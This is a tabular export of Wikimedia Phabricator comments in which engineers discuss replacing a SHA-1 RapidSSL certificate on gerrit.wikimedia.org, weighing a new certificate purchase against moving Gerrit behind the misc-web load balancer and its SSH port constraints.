401738,Chrome warns about insecure certificate on gerrit.wikimedia.org,Mark:  I assigned https://rt.wikimedia.org/Ticket/Display.html?id=9130 to you for your approval.,,,1421780481,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,17.0,8.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Mark:  I assigned URL to you for your approval.
401536,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Alright, if it's complicated to do with misc-web, let's buy a one-off ticket for it then.",,,1421712205,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.96,0.84,"Alright, if it's complicated to do with misc-web, let's buy a one-off ticket for it then."
399760,Chrome warns about insecure certificate on gerrit.wikimedia.org,the suggestion to use an iptables rule to forward 22 to 29418 came from Faidon recently on IRC,,,1421272311,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,28.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,28.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.8888888888888888,the suggestion to use an iptables rule to forward 22 to 29418 came from Faidon recently on IRC
399756,Chrome warns about insecure certificate on gerrit.wikimedia.org,"for the related issue that we want to make Gerrit listen on 22, and not on 29418, which we'd like anyways, besides the cert issue being influence by it

https://phabricator.wikimedia.org/T84713
https://gerrit.wikimedia.org/r/#/c/174015/
https://gerrit.wikimedia.org/r/#/c/172313/
https://phabricator.wikimedia.org/T37611",,,1421272219,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,12.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,7.0,15.0,10.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4146341463414633,0.7317073170731707,"for the related issue that we want to make Gerrit listen on 22, and not on 29418, which we'd like anyways, besides the cert issue being influence by it

URL
URL
URL
URL"
399749,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Ok, I was wrong about some of the above, Chad volunteered a bit more time so we could properly detail this.

Gerrit runs and listens to 8080 for jetty on ytterbium.  It also listens on 80 for redirection to 443, and then 443 in apache redirects to 8080.  (This isn't confusing at all!)  If we moved this behind misc-web, we would drop all the apache config, and simply have misc-web direct traffic to 8080, and configure jetty to listen on the IP address.  However, this doesn't address the actual issue; ssh pulls for git/gerrit use port 29418.

So the issue is we need to use port 8080 (gerrit web) and port 29418 (git/gerrit ssh).

Daniel suggested that we could use an iptables rule on the misc-web systems to redirect all traffic for ytterbium port 29418 to bypass the varnish directly and go to the system, but we aren't entirely certain if it would work properly, and it is a non-standard solution to the issue.  So I'm not sure if we should adopt it, test it, or simply purchase the SSL certificate for gerrit to use on its own.

Also note we'll have this issue again when gerrit is replaced by phabricator.  We'll either have to disable ssl pulls (and use https only, which is what Chad and I discussed but we aren't 100% certain ssl pull is needed), or do a similar hack as the above suggestion, since we want/need phabricator to stay cached, just buying a certificate won't solve that issue.",,,1421271551,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,1.0,0.0,0.25,0.5,1.5,4.0,0.5,0.0,0.0,0.75,0.75,2.25,0.0,0.25,0.0,3.75,0.0,6.75,9.25,0.0,1.75,0.25,0.25,0.0,1.25,0.25,0.0,0.75,0.5,1.0,0.0,5.0,0.25,1.5,0.25,0.0,0.0,0.25,0.0,0.75,0.0,0.0,0.25,0.75,0.25,0.25,0.0,0.0,0.25,11.5,0.75,0.75,0.25,0.5,0.0,0.0,0.0,0.0,1.75,0.0,0.25,1.25,0.0,0.25,0.0,0.0,0.0,4.25,2.5,4.75,1.75,3.5,7.0,0.0,0.0,0.25,0.0,6.0,0.25,2.75,0.0,5.25,9.25,4.25,0.0,0.0,0.0,5.25,0.0,1.0,1.25,0.0,0.5,0.25,0.0,0.0,3.609375,0.7312500000000001,"Ok, I was wrong about some of the above, Chad volunteered a bit more time so we could properly detail this.

Gerrit runs and listens to 8080 for jetty on ytterbium.  It also listens on 80 for redirection to 443, and then 443 in apache redirects to 8080.  (This isn't confusing at all!)  If we moved this behind misc-web, we would drop all the apache config, and simply have misc-web direct traffic to 8080, and configure jetty to listen on the IP address.  However, this doesn't address the actual issue; ssh pulls for git/gerrit use port 29418.

So the issue is we need to use port 8080 (gerrit web) and port 29418 (git/gerrit ssh).

Daniel suggested that we could use an iptables rule on the misc-web systems to redirect all traffic for ytterbium port 29418 to bypass the varnish directly and go to the system, but we aren't entirely certain if it would work properly, and it is a non-standard solution to the issue.  So I'm not sure if we should adopt it, test it, or simply purchase the SSL certificate for gerrit to use on its own.

Also note we'll have this issue again when gerrit is replaced by phabricator.  We'll either have to disable ssl pulls (and use https only, which is what Chad and I discussed but we aren't 100% certain ssl pull is needed), or do a similar hack as the above suggestion, since we want/need phabricator to stay cached, just buying a certificate won't solve that issue."
399735,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Well, first Faidon advised this wouldn't work, and that I shouldn't waste time on it.  I wanted to confirm why it wouldn't work, since I imagined I'd be asked in a ticket at some point.

Ytterbium is the current gerrit host, and it communicates over port 8080 for some of its functions.  Additionally, it has to use the typical 443 or port 80 for web requests.  My understanding of the varnish backend config is you can only route a single port (default 80).  The role/cache:misc shows port 80 for default, but previous attempts to make gerrit work listing the port 8080 requirement.  Since we cannot do forwards for both 8080 and 80 (replacing 443 once we used misc-web), it seems this wouldn't work.  Again, this is my understanding of it, and if I'm wrong, please let me know!  (The ideal is this goes behind misc-web if only to simplify our ssl certificate requirements.)

Previous testing discussion with both Daniel and Chad seem to back this up.  While there may be a work around, I don't quite know how to do so.

So if a work around is known, we can attempt it, or we can simply purchase a new gerrit certificate. (RT#9130)",,,1421269439,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.6666666666666666,0.0,0.0,0.6666666666666666,2.0,2.6666666666666665,1.3333333333333333,0.0,0.0,1.0,0.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,5.0,0.6666666666666666,7.0,9.666666666666666,0.0,2.0,0.3333333333333333,1.0,0.0,1.3333333333333333,0.3333333333333333,0.0,1.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,4.666666666666667,2.3333333333333335,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,10.666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,1.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,4.0,2.3333333333333335,7.333333333333333,3.6666666666666665,3.0,6.666666666666667,0.0,0.0,0.3333333333333333,0.0,6.666666666666667,0.6666666666666666,3.0,0.0,8.0,9.666666666666666,2.3333333333333335,0.0,0.0,0.0,8.0,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,3.5644374782305817,0.7138192267502612,"Well, first Faidon advised this wouldn't work, and that I shouldn't waste time on it.  I wanted to confirm why it wouldn't work, since I imagined I'd be asked in a ticket at some point.

Ytterbium is the current gerrit host, and it communicates over port 8080 for some of its functions.  Additionally, it has to use the typical 443 or port 80 for web requests.  My understanding of the varnish backend config is you can only route a single port (default 80).  The role/cache:misc shows port 80 for default, but previous attempts to make gerrit work listing the port 8080 requirement.  Since we cannot do forwards for both 8080 and 80 (replacing 443 once we used misc-web), it seems this wouldn't work.  Again, this is my understanding of it, and if I'm wrong, please let me know!  (The ideal is this goes behind misc-web if only to simplify our ssl certificate requirements.)

Previous testing discussion with both Daniel and Chad seem to back this up.  While there may be a work around, I don't quite know how to do so.

So if a work around is known, we can attempt it, or we can simply purchase a new gerrit certificate. (RT#9130)"
399527,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#964609, @RobH wrote:
> So this won't work behind misc-web-lb until after the gerrit dependency on using sshd on the same interface is happening (since misc-web-lb redirects all backend traffic to port 8080.)
> 
> The sshd port could be configured to a second interface to work around this.  I'm not sure if it is worth a lot more cycles of work, but it would be nice to have all these misc services behind a centrally configured ssl termination cluster.

I don't understand what this means. Can you elaborate?",,,1421252877,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,15.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.55,0.75,"QUOTE
QUOTE
QUOTE
QUOTE

I don't understand what this means. Can you elaborate?"
399083,Chrome warns about insecure certificate on gerrit.wikimedia.org,"There are two issues here that I can see:

1) gerrit.wikimedia.org certificate is sha1

2) gerrit.wikimedia.org is rapidssl certificate, a vendor we have migrated away from, so any reissues or revocations of a certificate means we just move it to the new vendor.

As such, I've created an RT ticket (9130) to get approval to order a new certificate for this.  Since our procurement process has not migrated quite yet (it will soon, but will be last RT item to migrate), I'll just keep this assigned to me until after the order is completed and implemented.",,,1421176369,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.5,0.0,0.0,1.0,1.0,2.5,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,4.5,0.0,6.0,9.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.5,2.5,0.0,5.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,10.0,1.5,0.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.5,3.0,5.5,1.0,2.5,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,9.0,2.0,0.0,0.0,0.0,6.0,0.0,0.5,2.5,1.0,0.0,0.0,0.0,0.5,3.9643483343074224,0.7950029222676798,"There are two issues here that I can see:

1) gerrit.wikimedia.org certificate is sha1

2) gerrit.wikimedia.org is rapidssl certificate, a vendor we have migrated away from, so any reissues or revocations of a certificate means we just move it to the new vendor.

As such, I've created an RT ticket (9130) to get approval to order a new certificate for this.  Since our procurement process has not migrated quite yet (it will soon, but will be last RT item to migrate), I'll just keep this assigned to me until after the order is completed and implemented."
397128,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#939750, @Dzahn wrote:
>>>! In T76562#846225, @Seb35 wrote:
>> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
> 
> The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?

The message does sound like that, but I don't think that's the problem. The same message is shown when in the details about phrabricator.wikimedia.org (which has a green badge).

{F27060}
{F18152}",,,1420770490,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,19.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,9.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.685185185185185,0.7037037037037037,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The message does sound like that, but I don't think that's the problem. The same message is shown when in the details about phrabricator.wikimedia.org (which has a green badge).

{F27060}
{F18152}"
397127,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#939750, @Dzahn wrote:
>>>! In T76562#846225, @Seb35 wrote:
>> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
> 
> The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?

The message does sound like that, but I don't think that is the issue since the same message is displayed when I pop up details about the encryption on phrabricator.wikimedia.org (which has a green badge).

{F27060}
{F18152}",,,1420770448,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,17.0,3.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.810344827586207,0.7068965517241379,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The message does sound like that, but I don't think that is the issue since the same message is displayed when I pop up details about the encryption on phrabricator.wikimedia.org (which has a green badge).

{F27060}
{F18152}"
397036,Chrome warns about insecure certificate on gerrit.wikimedia.org,"So this won't work behind misc-web-lb until after the gerrit dependency on using sshd on the same interface is happening (since misc-web-lb redirects all backend traffic to port 8080.)

The sshd port could be configured to a second interface to work around this.  I'm not sure if it is worth a lot more cycles of work, but it would be nice to have all these misc services behind a centrally configured ssl termination cluster.",,,1420756871,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,2.0,0.0,0.0,1.0,2.0,9.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,15.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,22.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,3.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,3.847826086956522,0.6956521739130435,"So this won't work behind misc-web-lb until after the gerrit dependency on using sshd on the same interface is happening (since misc-web-lb redirects all backend traffic to port 8080.)

The sshd port could be configured to a second interface to work around this.  I'm not sure if it is worth a lot more cycles of work, but it would be nice to have all these misc services behind a centrally configured ssl termination cluster."
397001,Chrome warns about insecure certificate on gerrit.wikimedia.org,"I'll test this out with setting up the misc web to handle it and locally hacking my /etc/hosts, not changing dns",,,1420753193,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.68,1.0,"I'll test this out with setting up the misc web to handle it and locally hacking my /etc/hosts, not changing dns"
396877,Chrome warns about insecure certificate on gerrit.wikimedia.org,"I'd suggest we test and use the misc-web-lb for this, since it means one less certificate and therefore less general overhead (since we already have the commitment to maintain misc-web-lb).",,,1420742761,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,9.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,5.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.7209302325581395,0.7441860465116279,"I'd suggest we test and use the misc-web-lb for this, since it means one less certificate and therefore less general overhead (since we already have the commitment to maintain misc-web-lb)."
396853,Chrome warns about insecure certificate on gerrit.wikimedia.org,"It is relevant for #code-review either way, so we definitely should then",,,1420740618,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,"It is relevant for #code-review either way, so we definitely should then"
396750,Chrome warns about insecure certificate on gerrit.wikimedia.org,I don't remember to be honest. We could certainly test it.,,,1420730863,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.9285714285714286,I don't remember to be honest. We could certainly test it.
396744,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#961213, @Chad wrote:
> We tried putting it behind misc-web-lb but we had problems with the git protocol behaving through the proxy if memory serves.


With normal HTTP proxying by Varnish I can imagine that. But has VCL return(pipe) been attempted as well, such that Varnish acts as simple TCP proxy for the remainer of the TCP connection?",,,1420730328,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,27.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,15.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.146341463414634,0.8536585365853658,"QUOTE
QUOTE


With normal HTTP proxying by Varnish I can imagine that. But has VCL return(pipe) been attempted as well, such that Varnish acts as simple TCP proxy for the remainer of the TCP connection?"
396742,Chrome warns about insecure certificate on gerrit.wikimedia.org,"@mark, it sounds like we need to buy a certificate to make this go away, is that something you would approve?",,,1420730192,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,12.0,17.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.9166666666666666,"SCREEN_NAME, it sounds like we need to buy a certificate to make this go away, is that something you would approve?"
396468,Chrome warns about insecure certificate on gerrit.wikimedia.org,"We tried putting it behind misc-web-lb but we had problems with the git protocol behaving through the proxy if memory serves.

The only reason we bought it it's own cert was because we wanted to stop using *.wikimedia.org on misc services (and if memory serves we bought several similar ones at the time). It can very easily use a star or combined cert.",,,1420674377,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-26,True,1.0,0.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,1.0,0.0,1.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,4.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,1.0,0.0,0.0,0.0,12.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.8933333333333335,0.7866666666666666,"We tried putting it behind misc-web-lb but we had problems with the git protocol behaving through the proxy if memory serves.

The only reason we bought it it's own cert was because we wanted to stop using *.wikimedia.org on misc services (and if memory serves we bought several similar ones at the time). It can very easily use a star or combined cert."
396438,Chrome warns about insecure certificate on gerrit.wikimedia.org,"So we have two options (that I see):

- Push gerrit behind misc-web-lb, so it uses the wildcard certifiate (globalsign) and doesn't have this issue.

- Order a new certificate for gerrit (since we don't use RapidSSL for any updated deployments).

We purchased a gerrit.wikimedia.org certificate per Chad's request on old RT#4976, and I know he has explained why its better on its own cert, but I cannot find said reasoning.  I've CC'd Chad so perhaps he can reply back with why it needs its own.  (If it no longer does, we can put behind misc-web; if it does I'll create a procurement ticket for it.)",,,1420671474,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-26,True,0.5,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,5.5,0.0,7.0,8.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,2.0,0.5,0.0,7.5,2.5,5.5,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.0,1.5,0.0,0.5,0.0,0.0,0.5,2.0,0.0,9.0,4.0,2.5,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,12.5,8.0,1.5,0.0,0.0,0.0,12.5,0.0,1.5,1.5,0.0,0.0,1.5,0.0,0.0,3.52897384305835,0.7516096579476861,"So we have two options (that I see):

- Push gerrit behind misc-web-lb, so it uses the wildcard certifiate (globalsign) and doesn't have this issue.

- Order a new certificate for gerrit (since we don't use RapidSSL for any updated deployments).

We purchased a gerrit.wikimedia.org certificate per Chad's request on old RT#4976, and I know he has explained why its better on its own cert, but I cannot find said reasoning.  I've CC'd Chad so perhaps he can reply back with why it needs its own.  (If it no longer does, we can put behind misc-web; if it does I'll create a procurement ticket for it.)"
394312,Chrome warns about insecure certificate on gerrit.wikimedia.org,"I agree with this task being a relatively high priority.

